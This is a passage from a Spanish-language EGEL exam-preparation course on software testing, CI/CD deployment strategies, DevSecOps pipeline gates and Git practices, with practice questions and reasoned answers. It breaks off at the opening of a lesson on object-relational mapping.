(cálculo de calificaciones, descuentos, validación de emails) de pruebas de interfaz de usuario a **Pruebas Unitarias puras con dobles de prueba (Mocks/Stubs)**. Las pruebas unitarias se ejecutan en memoria en menos de 20 segundos sin tocar red ni navegador.\n  2. **Aislar dependencias de red:** Prohibir terminantemente que cualquier prueba del pipeline invoque servicios web públicos externos; sustituirlos por simuladores locales (*WireMock* o servidores HTTP efímeros en Docker).\n  3. **Preservar solo un núcleo crítico de pruebas E2E:** Reducir las pruebas de Selenium a las 15 rutas críticas cardinales (*Happy Paths* de compra y login).\n- **Resultado:** El tiempo del pipeline se reduce de 3.5 horas a **6 minutos**, con una tasa de fallos falsos del 0%, restaurando la confianza en la Integración Continua.\n\n---\n\n## 2. Escenario 2: Despliegue de un Nuevo Motor de Tarifas en un Sistema de Facturación\n\n### Contexto y Restricciones\n- **Dominio:** Empresa de telecomunicaciones con 8 millones de usuarios prepago y pospago.\n- **Requerimiento:** Desplegar una actualización mayor del motor de tasación de llamadas y datos móviles.\n- **Riesgo:** Si el nuevo motor tiene un bug en el cálculo de fracciones de segundo, cobrar de más a millones de clientes violará la regulación federal de telecomunicaciones con multas millonarias, mientras que cobrar de menos causará pérdidas irrecuperables.\n- **Restricción operativa:** No es posible probar todas las combinaciones posibles en ambientes de laboratorio porque el tráfico real tiene patrones impredecibles de millones de dispositivos heterogéneos.\n\n### Alternativas de Despliegue Evaluadas\n1. *Estrategia Recreate:* Inviable; suspendería el servicio telefónico de todo el país.\n2. *Blue-Green Deployment tradicional:* Aunque permite rollback rápido, en el instante de la conmutación el 100% de las llamadas pasan al nuevo motor. Si existe un defecto sutil, los 8 millones de usuarios son afectados de inmediato.\n3. *Canary Release con Enrutamiento Progresivo y Análisis de Telemetría:*\n   - Se despliega el nuevo motor recibiendo inicialmente solo el **0.5% de las llamadas** de una región geográfica específica.\n   - Un sistema de observabilidad compara en tiempo real las métricas del grupo canario contra el grupo de control (versión anterior): tasa de errores, latencia y variación de saldo promedio.\n   - Si tras 2 horas los indicadores son estadísticamente indistinguibles, el tráfico se incrementa progresivamente a 5%, 25%, 50% y finalmente 100%.\n\n- **Decisión Técnica:** **Canary Release**. Minimiza el radio de impacto (*Blast Radius*) al límite físico más pequeño posible.\n\n---\n\n## 3. Escenario 3: Modificación de Esquema de Base de Datos en un Despliegue sin Inactividad\n\n### Contexto y Restricciones\n- **Dominio:** Aplicación bancaria de transferencias operando 24/7 con estrategia de *Rolling Update* en un clúster de Kubernetes con 20 réplicas.\n- **Problema de Ingeniería:** La nueva versión del código (v2) requiere renombrar la columna `num_telefono` a `telefono_movil` en la tabla `CLIENTE`.\n- **Riesgo del Despliegue Progresivo:** Durante los 10 minutos que dura el Rolling Update, conviven en producción 10 instancias con la versión v1 y 10 instancias con la versión v2 conectadas a la misma base de datos relacional. Si se renombra la columna en la base de datos antes del despliegue, la versión v1 colapsa de inmediato arrojando excepciones `ColumnNotFoundException`.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                 PATRÓN EXPAND-CONTRACT (PARALLEL RUN)                  │\n│                                                                        │\n│   FASE 1 (EXPANDIR):                                                   │\n│   • Se agrega la nueva columna 'telefono_movil' sin borrar la anterior │\n│   • Se crea un trigger en BD para sincronizar ambas columnas en espejo │\n│                                                                        │\n│   FASE 2 (DESPLEGAR CÓDIGO):                                           │\n│   • Se ejecuta el Rolling Update de v1 a v2 de forma transparente      │\n│   • v1 sigue leyendo 'num_telefono'; v2 lee 'telefono_movil'           │\n│                                                                        │\n│   FASE 3 (CONTRAER):                                                   │\n│   • Con el 100% de instancias en v2, se elimina el trigger             │\n│   • Se borra de forma segura la columna antigua 'num_telefono'         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Decisión Técnica:** **Patrón Expandir-Contraer (*Expand-Contract Pattern*)**. Garantiza la compatibilidad bidireccional entre versiones mixtas de código y base de datos durante actualizaciones sin interrupción.\n\n---\n\n## 4. Escenario 4: Integración de Seguridad y Análisis de Vulnerabilidades en el Pipeline (DevSecOps)\n\n### Contexto y Restricciones\n- **Dominio:** Fintech sujeta a regulaciones de la Comisión Nacional Bancaria y de Valores (CNBV) y estándar PCI-DSS.\n- **Problema:** En la auditoría anual se identificó que el 30% de las imágenes Docker desplegadas en producción contenían bibliotecas de código abierto con vulnerabilidades críticas conocidas (CVEs con severidad CVSS \u003e 9.0), introducidas a través de dependencias transitivas no auditadas.\n\n### Arquitectura de Seguridad en el Pipeline (DevSecOps)\nPara erradicar la introducción de vulnerabilidades en producción, se incorporan tres compuertas de seguridad automatizadas (*Quality Gates*) en el pipeline de CI/CD:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        COMPUERTAS DEVSECOPS                            │\n│                                                                        │\n│   1. SAST (Static Application Security Testing):                       │\n│      Herramienta: SonarQube / Semgrep.                                 │\n│      Analiza el código fuente en busca de patrones inseguros           │\n│      (inyecciones SQL, credenciales quemadas en código duro).          │\n│                                                                        │\n│   2. SCA (Software Composition Analysis):                              │\n│      Herramienta: Snyk / OWASP Dependency-Check / Trivy.               │\n│      Analiza el lockfile cotejándolo contra la base de datos nacional  │\n│      de vulnerabilidades (NVD). Si detecta un CVE crítico, ABORTA.     │\n│                                                                        │\n│   3. Firma y Escaneo de Contenedores:                                  │\n│      Escaneo de capas base del SO en Dockerfile y firma criptográfica  │\n│      de la imagen con Cosign. El clúster de Kubernetes solo ejecuta    │\n│      imágenes firmadas por el pipeline oficial de CI/CD.               │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Decisión Técnica:** **Automatización de puertas de seguridad (Quality Gates) con SCA y escaneo de contenedores en CI**, bloqueando automáticamente cualquier build que contenga dependencias con vulnerabilidades críticas conocidas.\n\n---\n\n## 5. Matriz de Síntesis: Decisiones de Testing y DevOps en el EGEL\n\n| Problema Operativo | Causa Raíz Típica | Solución Canónica en el EGEL |\n| :--- | :--- | :--- |\n| **Pipeline de CI dura horas** | Exceso de pruebas de UI / E2E (Cono de helado) e invocación de servicios de red reales. | Reestructurar a la **Pirámide de Pruebas**, mover lógica a pruebas unitarias en memoria y usar **Stubs/Mocks**. |\n| **Conflictos de fusión masivos cada sprint** | Ramas de funcionalidad longevas y desarrollo aislado con GitFlow. | Migrar a **Trunk-Based Development** con ramas cortas (\u003c 24-48 hrs) y **Feature Flags**. |\n| **Build falla en CI pero compila en la laptop** | Versiones flotantes permisivas en el manifiesto (`^` o `~`). | Confirmar el **archivo de bloqueo (*Lockfile*)** en Git y usar comandos deterministas (`npm ci`). |\n| **Riesgo extremo de impacto en despliegue** | Lanzamientos masivos tipo *Big Bang* o conmutación del 100% de usuarios. | **Canary Release** con enrutamiento de una fracción mínima de tráfico real y telemetría automatizada. |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nUna institución bancaria experimenta caídas periódicas en su servidor de integración continua (CI) debido a que la suite de pruebas automatizadas tarda 4 horas en completarse. La inspección del código muestra que más del 70% de las pruebas son pruebas de navegador web (E2E) que interactúan con una base de datos real de pruebas y servicios bancarios externos por HTTP. ¿Cuál es la estrategia de rediseño técnico fundamentada en las mejores prácticas de ingeniería de software para optimizar este pipeline?\n- A) Desactivar por completo las pruebas automatizadas para que los desarrolladores puedan desplegar más rápido.\n- B) Reestructurar la estrategia adoptando la Pirámide de Pruebas de Mike Cohn: trasladar las reglas de cálculo y lógica de negocio a una base masiva de pruebas unitarias aisladas en memoria con dobles de prueba (Mocks/Stubs), reservando las pruebas E2E únicamente para un número reducido de flujos críticos integrados.\n- C) Comprar un servidor físico diez veces más potente sin modificar la estructura de las pruebas.\n- D) Reemplazar la base de datos de pruebas por un script de Excel.\n\n### Pregunta 2\nEn una arquitectura de microservicios contenerizados en Kubernetes, el equipo de operaciones debe actualizar el servicio de autenticación sin interrumpir el servicio a los usuarios activos. Sin embargo, no se cuenta con presupuesto en la nube para duplicar el 100% de la infraestructura de servidores como exigiría un despliegue Blue-Green, pero se requiere que la actualización reemplace gradualmente los contenedores viejos por los nuevos garantizando que siempre haya instancias disponibles atendiendo peticiones. ¿Qué estrategia de despliegue cumple estrictamente con estas restricciones de costo y continuidad operativa?\n- A) Estrategia de Recreación (*Recreate*).\n- B) Actualización Progresiva (*Rolling Update*).\n- C) Despliegue Big-Bang en horario de oficina.\n- D) Reinstalación manual del sistema operativo del servidor.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.3.7 de esta subárea).*\n","title":"3.3.5 Escenarios profesionales de decisión en entornos de desarrollo, testing y CI/CD"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 3.3: Entornos de Desarrollo, Testing y CI/CD\n\nLa Subárea 3.3 aporta **20 reactivos** al examen EGEL de Ingeniería de Software. Esta sección evalúa la disciplina operativa y de aseguramiento continuo que permite a los equipos entregar software de alta calidad con cadencia predecible: el control de versiones con Git, la construcción automatizada determinista con gestión de dependencias, el diseño riguroso de pruebas unitarias bajo TDD y la orquestación de pipelines de Integración y Despliegue Continuo (CI/CD).\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n              ENTORNOS DE DESARROLLO Y TESTING / CI-CD (20 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nControl de Versiones Herramientas Build            Pirámide de Pruebas   Pipelines y CI/CD\n• Objetos Git (DAG) • Ciclo de vida (compile/pkg)  • Unitarias vs E2E    • CI vs Cont. Delivery\n• GitFlow vs TBD    • Maven vs Gradle              • Patrón AAA y FIRST    vs Cont. Deployment\n• Merge vs Rebase   • Dependencias transitivas     • TDD (Red-Green-Ref.)• Blue-Green vs Canary\n• SemVer (Maj/Min)  • Lockfiles deterministas      • Dobles (Mock/Stub)  • Rolling Updates\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Control de Versiones con Git y Versionado Semántico\n\n| Concepto | Regla de Oro / Definición Técnica | Error / Trampa Frecuente |\n| :--- | :--- | :--- |\n| **Objetos de Git** | **Blob** (contenido), **Tree** (directorios y nombres), **Commit** (instantánea y autor), **Tag** (etiqueta). | Creer que Git almacena solo líneas modificadas (*diffs*); almacena instantáneas completas (*snapshots*). |\n| **Trunk-Based Dev.** | Ramas de vida corta (\u003c 24-48 hrs) integradas frecuentemente a `trunk` con Feature Flags. | Usar GitFlow con ramas aisladas de meses en proyectos que buscan entrega continua diaria. |\n| **`git merge`** | Preserva la historia real no lineal creando un commit de fusión de dos padres. | N/A (es seguro en ramas compartidas). |\n| **`git rebase`** | Reescribe la historia linealmente recalculando los hashes SHA. | **Hacer rebase sobre ramas públicas compartidas (`main`)**, corrompiendo repositorios ajenos. |\n| **SemVer** | `MAJOR` (rompe compatibilidad), `MINOR` (nueva funcionalidad retrocompatible), `PATCH` (bugs). | Incrementar `PATCH` cuando se eliminan métodos de la API pública. |\n\n### B. Herramientas de Construcción y Dependencias\n\n- **Ciclo de Construcción:** `compile` (genera `.class`), `test` (ejecuta pruebas), `package` (empaqueta en `.jar`/`.war`), `install` (repositorio local), `deploy` (servidor remoto).\n- **Maven vs Gradle:** Maven se basa en XML declarativo estandarizado (`pom.xml`); Gradle utiliza un DSL dinámico en Groovy/Kotlin con compilación incremental y grafo de tareas (DAG).\n- **Conflicto de Dependencias:** Cuando dos librerías requieren versiones incompatibles de un tercer módulo transitivo. Maven resuelve por \"el más cercano en el árbol\" (*nearest-wins*); la solución manual es usar exclusiones explícitas (`\u003cexclusions\u003e`).\n- **Archivos Lockfile (`package-lock.json` / `Cargo.lock`):** Fijan las versiones exactas y hashes SHA de dependencias directas y transitivas. **Deben incluirse obligatoriamente en Git** para garantizar builds 100% reproducibles en servidores de CI.\n\n### C. La Pirámide de Pruebas y Dobles de Prueba\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        TAXONOMÍA DE DOBLES DE PRUEBA                   │\n│                                                                        │\n│   • DUMMY:  Solo llena parámetros obligatorios; nunca se usa.          │\n│   • STUB:   Respuestas fijas enlatadas (when/thenReturn); alimenta.   │\n│   • SPY:    Stub que registra telemetría (cuántas llamadas y args).    │\n│   • MOCK:   Verifica expectativas de comportamiento (verify()).        │\n│   • FAKE:   Implementación real simplificada en memoria (ej. BD H2).   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Pirámide de Mike Cohn:** Base masiva de Pruebas Unitarias (rápidas, baratas, en memoria) $\\to$ Pruebas de Integración (medias) $\\to$ Cúspide reducida de Pruebas E2E de interfaz gráfica (lentas, costosas, frágiles).\n- **Ciclo TDD:**\n  1. **Rojo:** Escribir una prueba unitaria que falle.\n  2. **Verde:** Escribir el código mínimo para que pase.\n  3. **Refactorizar:** Limpiar duplicación con la red de seguridad verde.\n\n### D. Estrategias de Despliegue y CI/CD\n\n| Estrategia | ¿Tiene Downtime? | Costo Infraestructura | Característica Distintiva |\n| :--- | :---: | :---: | :--- |\n| **Recreación (Recreate)** | **Sí** | Mínimo | Apaga todo v1 y enciende v2; interrumpe el servicio a usuarios. |\n| **Rolling Update** | **No** | Bajo | Reemplaza réplicas una a una gradualmente; v1 y v2 conviven minutos. |\n| **Blue-Green** | **No** | **Alto (Duplicado)** | Dos entornos idénticos (Azul activo, Verde en pruebas); **Rollback instantáneo**. |\n| **Canary Release** | **No** | Medio/Alto | Enruta un porcentaje mínimo (1% a 5%) de tráfico real y vigila telemetría. |\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 3.3\n\nAntes de continuar a la Subárea 3.4, confirma que dominas con certeza:\n- [ ] Recordar por qué la regla de oro del rebase prohíbe rebasar sobre la rama pública `main`.\n- [ ] Saber qué componente de la versión semántica (`MAJOR`, `MINOR` o `PATCH`) debe alterarse ante un *Breaking Change*.\n- [ ] Explicar la diferencia operativa entre `npm install` (permisivo) y `npm ci` (estricto y determinista para CI).\n- [ ] Distinguir un **Stub** (alimenta datos enlatados) de un **Mock** (verifica que se hayan realizado llamadas específicas).\n- [ ] Saber qué es el antipatrón del \"Cono de Helado\" y cómo resolverlo aplicando la pirámide de Mike Cohn.\n- [ ] Identificar cuándo un pipeline es de **Continuous Delivery** (botón manual final) vs **Continuous Deployment** (100% automático a producción).\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nEn el desarrollo guiado por pruebas (TDD) para un algoritmo de cifrado, un ingeniero escribe primero una prueba unitaria que verifica que el texto `\"HOLA\"` se convierta en `\"KROD\"`. La prueba falla inmediatamente en rojo porque la clase de cifrado aún no existe. El ingeniero escribe entonces la implementación de la clase logrando que la prueba pase en verde. Finalmente, elimina variables redundantes y optimiza el uso de memoria sin alterar las aserciones de la prueba. ¿Qué nombre recibe esta metodología y secuencia de fases?\n- A) Ciclo Cascada de Verificación Formal.\n- B) Ciclo Red-Green-Refactor de Test-Driven Development (TDD).\n- C) Análisis Estático de Código con SonarQube.\n- D) Inspección Heurística de Jakob Nielsen.\n\n### Reactivo Muestra 2\nUna plataforma médica de monitoreo de pacientes críticos en unidades de terapia intensiva requiere actualizar su software central. Dado que cualquier fallo no detectado en el algoritmo de alarmas vitales podría ser fatal, el equipo de ingeniería decide dirigir inicialmente solo el **2% de los monitores hospitalarios** a la nueva versión del software mientras el 98% restante continúa en la versión previa estable, monitorizando métricas de telemetría durante 48 horas antes de expandir el despliegue al resto del hospital. ¿Qué estrategia de despliegue se está implementando?\n- A) Blue-Green Deployment con conmutación atómica de DNS.\n- B) Canary Release (Despliegue Canario).\n- C) Estrategia Recreate con ventana de mantenimiento programada.\n- D) Despliegue manual nocturno mediante scripts FTP.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 3.3.7).*\n","title":"3.3.6 Repaso integral y síntesis: Subárea 3.3"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 3.3\n\nEsta lección presenta la resolución analítica y el desglose pedagógico exhaustivo de cada reactivo de evaluación de la **Subárea 3.3: Entornos de desarrollo y automatización de pruebas**. Analiza minuciosamente los argumentos de ingeniería que validan la opción correcta y las razones de descarte de los distractores para afianzar tus competencias rumbo al examen profesional EGEL.\n\n---\n\n## 1. Soluciones: Control de Versiones con Git y Flujos (Lección 3.3.1)\n\n### Pregunta 1\n- **Enunciado:** Flujo de trabajo de Git recomendado para organizaciones que aplican Integración Continua con múltiples despliegues diarios evitando el \"infierno de integración\" de ramas largas.\n- **Respuesta Correcta:** **B) Trunk-Based Development, donde los desarrolladores integran ramas de vida muy corta (menos de 24 a 48 horas) directamente sobre la rama principal (*trunk*), utilizando interruptores de funcionalidad (*Feature Flags*) para desacoplar el despliegue de la activación.**\n- **Justificación Técnica:** Los estudios empíricos de ingeniería (como las investigaciones DORA/DevOps) demuestran que Trunk-Based Development es el flujo óptimo para CI/CD de alto rendimiento. Al mantener las ramas por debajo de las 48 horas de vida y fusionar continuamente a la rama troncal principal, los conflictos de código se detectan y resuelven en minutos, evitando las divergencias masivas que paralizan a los equipos que usan ramas longevas.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* GitFlow mantiene ramas aisladas durante semanas o meses, lo cual es la causa directa del infierno de integración (*Merge Hell*).\n  - *C es incorrecta:* Editar directamente en producción por SSH es una práctica negligente que viola la trazabilidad y la seguridad operativa.\n  - *D es incorrecta:* Prohibir ramas locales impide a los desarrolladores experimentar y aislar cambios antes de confirmar.\n\n### Pregunta 2\n- **Enunciado:** Secuencia de acciones de ingeniería para resolver limpiamente un conflicto de fusión marcado por Git en `config.json`.\n- **Respuesta Correcta:** **C) Abrir `config.json`, remover los delimitadores de conflicto (`\u003c\u003c\u003c\u003c\u003c\u003c\u003c`, `=======`, `\u003e\u003e\u003e\u003e\u003e\u003e\u003e`), unificar la configuración válida, guardar el archivo, ejecutar `git add config.json` y finalizar con `git commit`.**\n- **Justificación Técnica:** Git suspende la operación de fusión e inserta marcadores textuales para indicar las líneas en pugna. La resolución formal exige editar manualmente el archivo, conciliar la lógica de negocio eliminando los marcadores, indexar el archivo resuelto en el área de preparación (*staging*) mediante `git add` y concluir formalmente la fusión con `git commit`.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Forzar el push (`--force`) es peligroso y además no resuelve el conflicto local en curso.\n  - *B es incorrecta:* Borrar el directorio `.git` destruye toda la historia, configuración y ramas del repositorio.\n  - *D es incorrecta:* `git reset --hard` es un comando local que además descartaría todo el trabajo realizado sin resolver el conflicto.\n\n---\n\n## 2. Soluciones: Herramientas de Construcción y Dependencias (Lección 3.3.2)\n\n### Pregunta 1\n- **Enunciado:** Conflicto en Maven por dos dependencias directas que importan transitivamente versiones incompatibles (`v1.2` y `v2.4`) arrojando `NoSuchMethodError`.\n- **Respuesta Correcta:** **B) Utilizar la sección `\u003cdependencyManagement\u003e` en el `pom.xml` para fijar centralizadamente la versión compatible o utilizar etiquetas `\u003cexclusions\u003e` dentro de la dependencia directa que arrastra la versión obsoleta.**\n- **Justificación Técnica:** Maven resuelve conflictos transitivos por proximidad en el árbol de dependencias (*nearest-wins*). Cuando esta heurística elige una versión incompatible que causa fallos binarios, el mecanismo estándar de mediación es declarar la versión deseada en `\u003cdependencyManagement\u003e` (que impone la versión sobre todo el proyecto) o aplicar `\u003cexclusions\u003e` en la dependencia específica para evitar que descargue el artefacto conflictivo.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las excepciones de métodos faltantes en runtime causan la caída inmediata del servicio; no pueden simplemente \"ignorarse\".\n  - *C es incorrecta:* Renombrar archivos locales no resuelve el problema en otros entornos ni en el servidor de CI.\n  - *D es incorrecta:* Volver a scripts manuales de copia destruye la reproducibilidad y el gobierno de dependencias del proyecto.\n\n### Pregunta 2\n- **Enunciado:** Motivo por el cual es mandatorio confirmar (*commit*) en Git archivos lockfile (`package-lock.json`, `poetry.lock`, `Cargo.lock`).\n- **Respuesta Correcta:** **B) Porque garantizan la reproducibilidad determinista del build, fijando las versiones exactas y hashes de integridad de todas las dependencias directas y transitivas en cualquier entorno de despliegue o máquina de desarrollo.**\n- **Justificación Técnica:** Los manifiestos principales (`package.json`) suelen especificar rangos permisivos de versiones (`^1.2.0`). El lockfile es el registro inmutable que congela el árbol exacto de dependencias resuelto, con versiones fijas y firmas criptográficas SHA. Sin el lockfile en Git, dos máquinas distintas que ejecuten la instalación en días diferentes obtendrán dependencias distintas, provocando fallas imprevistas en producción.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Los lockfiles jamás deben contener contraseñas ni secretos criptográficos de acceso a servidores.\n  - *C es incorrecta:* Un archivo lockfile es texto plano adicional; no comprime el repositorio.\n  - *D es incorrecta:* El estándar SQL-92 normaliza bases de datos relacionales, no tiene ninguna relación con gestores de paquetes.\n\n---\n\n## 3. Soluciones: Pirámide de Pruebas, TDD y Mocks (Lección 3.3.3)\n\n### Pregunta 1\n- **Enunciado:** Prueba unitaria de `despacharPedido()` que debe verificar estrictamente que el método `cobrar()` de una pasarela externa haya sido invocado exactamente una vez con el monto exacto.\n- **Respuesta Correcta:** **C) Un Mock preprogramado con verificación de comportamiento de llamadas.**\n- **Justificación Técnica:** De acuerdo con la taxonomía formal de dobles de prueba (Meszaros/Fowler), un **Mock** es el doble diseñado específicamente para la **verificación de comportamiento**: se configura con expectativas precisas de invocación (método, cardinalidad de veces y argumentos) y hace que la prueba falle si dicha interacción requerida no se ejecuta en el orden o con los valores esperados (`verify(mock, times(1)).cobrar(monto)`).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Un Dummy solo se pasa para rellenar parámetros; jamás se invoca ni verifica llamadas.\n  - *B es incorrecta:* Un Fake es una implementación funcional simplificada (como una BD en memoria); no verifica expectativas de llamada.\n  - *D es incorrecta:* Una prueba E2E en navegador prueba la interfaz gráfica completa con infraestructura real, lo opuesto a aislar una unidad lógica con dobles.\n\n### Pregunta 2\n- **Enunciado:** Desarrollador que escribe 150 líneas de código de producción, las prueba manualmente y al final de la jornada escribe pruebas unitarias.\n- **Respuesta Correcta:** **A) Violó el ciclo Red-Green-Refactor, el cual exige escribir primero una prueba unitaria que falle (Rojo) antes de codificar la implementación mínima de producción (Verde).**\n- **Justificación Técnica:** La esencia de Test-Driven Development (TDD) radica en que **la prueba guía el diseño del código**. Escribir código primero y pruebas después es el paradigma tradicional de testing retrospectivo. TDD exige la disciplina estricta: (1) escribir la prueba unitaria que falle primero (Rojo), (2) escribir el código mínimo para que pase (Verde), y (3) refactorizar.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* El teorema de Böhm-Jacopini atañe al control de flujo estructurado, no a la validación de contraseñas.\n  - *C es incorrecta:* El patrón Singleton no tiene relación con el orden de escritura de pruebas de contraseñas.\n  - *D es incorrecta:* Las pruebas unitarias se ejecutan localmente en milisegundos en la máquina del programador; no requieren entornos de staging.\n\n---\n\n## 4. Soluciones: CI/CD y Estrategias de Despliegue (Lección 3.3.4)\n\n### Pregunta 1\n- **Enunciado:** Actualización web sin interrupciones con reversión casi instantánea (\u003c 10 segundos) asumiendo el costo de duplicar la infraestructura de servidores.\n- **Respuesta Correcta:** **B) Despliegue Azul-Verde (*Blue-Green Deployment*).**\n- **Justificación Técnica:** Blue-Green Deployment mantiene dos entornos de producción idénticos. Mientras Azul está activo atendiendo al público, Verde recibe la nueva versión y se valida. Al conmutar el balanceador de carga o router, el tráfico se redirige a Verde instantáneamente. Si surge un error, volver a conmutar el router a Azul toma segundos, logrando el rollback más veloz a expensas de requerir el doble de servidores.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Recreate apaga el entorno viejo antes de encender el nuevo, causando una ventana notable de caída de servicio (*downtime*).\n  - *C es incorrecta:* Una actualización manual nocturna con detención de servicios viola el requerimiento explícito de cero inactividad.\n  - *D es incorrecta:* Editar código en el servidor activo es un antipatrón peligroso sin control de versiones ni pruebas.\n\n### Pregunta 2\n- **Enunciado:** Pipeline que compila, prueba, genera Docker y despliega a Staging automáticamente, pero requiere que el CTO presione un botón manual para desplegar a Producción.\n- **Respuesta Correcta:** **B) Entrega Continua (*Continuous Delivery*).**\n- **Justificación Técnica:** En el modelo formal de DevOps:\n  - Si el pipeline automatiza todo hasta generar artefactos listos y desplegar en ambientes de prueba, pero **retiene una compuerta manual de decisión de negocio para la salida a producción**, se denomina **Continuous Delivery (Entrega Continua)**.\n  - Si el despliegue a producción fuera automático sin intervención humana, sería *Continuous Deployment*.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El pipeline va mucho más allá de la integración continua básica (incluye empaquetado Docker y despliegue a Staging).\n  - *C es incorrecta:* Despliegue Continuo (Deployment) no admite botones de autorización humana manual en el camino crítico.\n  - *D es incorrecta:* El flujo está altamente automatizado con herramientas modernas de CI/CD.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión DevOps y Testing (Lección 3.3.5)\n\n### Pregunta 1\n- **Enunciado:** Pipeline de CI bancario que tarda 4 horas porque el 70% de las pruebas son de navegador E2E contra bases de datos reales y servicios bancarios HTTP externos.\n- **Respuesta Correcta:** **B) Reestructurar la estrategia adoptando la Pirámide de Pruebas de Mike Cohn: trasladar las reglas de cálculo y lógica de negocio a una base masiva de pruebas unitarias aisladas en memoria con dobles de prueba (Mocks/Stubs), reservando las pruebas E2E únicamente para un número reducido de flujos críticos integrados.**\n- **Justificación Técnica:** El diagnóstico evidencia el antipatrón del \"Cono de Helado\". Probar reglas de cálculo de negocio a través de la interfaz gráfica e invocando servicios externos por red genera latencia masiva y falsos positivos (*flakiness*). Siguiendo la Pirámide de Cohn, la lógica debe validarse en la base mediante miles de pruebas unitarias puras en milisegundos con Mocks/Stubs, reduciendo el pipeline a minutos y preservando las pruebas E2E solo para flujos de humo indispensables.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Desactivar pruebas elimina la red de seguridad del software y causará caídas financieras graves en producción.\n  - *C es incorrecta:* Comprar más hardware no resuelve la fragilidad intrínseca ni los tiempos de espera de red de servicios externos.\n  - *D es incorrecta:* Reemplazar bases de datos por scripts de Excel es inviable técnica y operativamente en una institución bancaria.\n\n### Pregunta 2\n- **Enunciado:** Actualización en Kubernetes sin tiempo de inactividad, sin presupuesto para duplicar el 100% de la infraestructura, reemplazando gradualmente contenedores viejos por nuevos.\n- **Respuesta Correcta:** **B) Actualización Progresiva (*Rolling Update*).**\n- **Justificación Técnica:** Rolling Update es la estrategia estándar y eficiente en costos de Kubernetes: sustituye progresivamente réplicas antiguas por réplicas nuevas (ej. 1 a la vez o 25% a la vez). Garantiza disponibilidad continua sin interrumpir el servicio y no requiere duplicar toda la flota de servidores como Blue-Green, adaptándose perfectamente a presupuestos de nube acotados.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Recreate apaga todas las réplicas simultáneamente generando tiempo de caída del servicio.\n  - *C es incorrecta:* Despliegues Big-Bang introducen un riesgo masivo de fallo catastrófico en horario pico.\n  - *D es incorrecta:* Reinstalar manualmente los servidores viola la gestión declarativa de contenedores en Kubernetes.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 3.3.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Ciclo donde un ingeniero escribe primero una prueba unitaria que falla en rojo, luego el código de producción que pasa en verde y finalmente refactoriza eliminando duplicación.\n- **Respuesta Correcta:** **B) Ciclo Red-Green-Refactor de Test-Driven Development (TDD).**\n- **Justificación Técnica:** Describe de manera exacta las tres fases del ciclo clásico de TDD formulado por Kent Beck: Rojo (escribir prueba que falle demostrando la necesidad del cambio), Verde (escribir el código mínimo para satisfacer la prueba) y Refactorizar (limpiar la deuda técnica y optimizar el diseño manteniendo las pruebas en verde).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El modelo en cascada ejecuta las pruebas meses después de codificar todo el proyecto.\n  - *C es incorrecta:* SonarQube realiza análisis estático de código, no dicta el ciclo de desarrollo por pruebas.\n  - *D es incorrecta:* Las heurísticas de Nielsen son para evaluación de usabilidad de interfaces humano-computadora.\n\n### Reactivo Muestra 2\n- **Enunciado:** Despliegue médico donde el 2% de los monitores hospitalarios reciben la nueva versión mientras el 98% sigue en la versión previa para monitorear métricas de telemetría.\n- **Respuesta Correcta:** **B) Canary Release (Despliegue Canario).**\n- **Justificación Técnica:** El despliegue canario consiste en exponer una nueva versión del software a un subconjunto mínimo de tráfico o dispositivos reales (en este caso el 2%), mientras la gran mayoría continúa en la versión estable de producción. Permite validar el comportamiento con datos reales y telemetría minimizando el radio de impacto (*Blast Radius*) antes de la adopción masiva.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Blue-Green conmuta el 100% del tráfico de un entorno a otro en un solo paso atómico.\n  - *C es incorrecta:* Recreate apaga todo el sistema interrumpiendo la monitorización de pacientes críticos.\n  - *D es incorrecta:* Despliegues por FTP son obsoletos, riesgosos y carecen de control de versiones y telemetría.\n","title":"3.3.7 Soluciones razonadas y análisis de distractores: Subárea 3.3"}],"contentMd":"","title":"3.3 Entornos de desarrollo y automatización de pruebas"},{"children":[{"children":[],"contentMd":"# Mapeo Objeto-Relacional (ORM), Desajuste de Impedancia y el Problema de Consultas N+1\n\nEn las aplicaciones empresariales modernas, la persistencia de datos suele conectar dos mundos con fundamentos teóricos opuestos: el modelo orientado a objetos (basado en identidad, encapsulamiento, herencia y grafos de navegación) y el modelo relacional (basado en álgebra relacional, tuplas, conjuntos planos y claves foráneas). En el examen EGEL de Ingeniería de Software, la Subárea 3.4 (**Gestión de datos y persistencia - 19 reactivos**) evalúa el desajuste de impedancia objeto-relacional (*Object-Relational Impedance Mismatch*), las estrategias de mapeo de herencia, la carga perezosa (*Lazy Loading*) frente a la carga ansiosa (*Eager Loading*) y la detección y erradicación del crítico **problema de consultas N+1**.\n\n---\n\n## 1. El Desajuste de Impedancia Objeto-Relacional (Impedance Mismatch)\n\nEl desajuste de 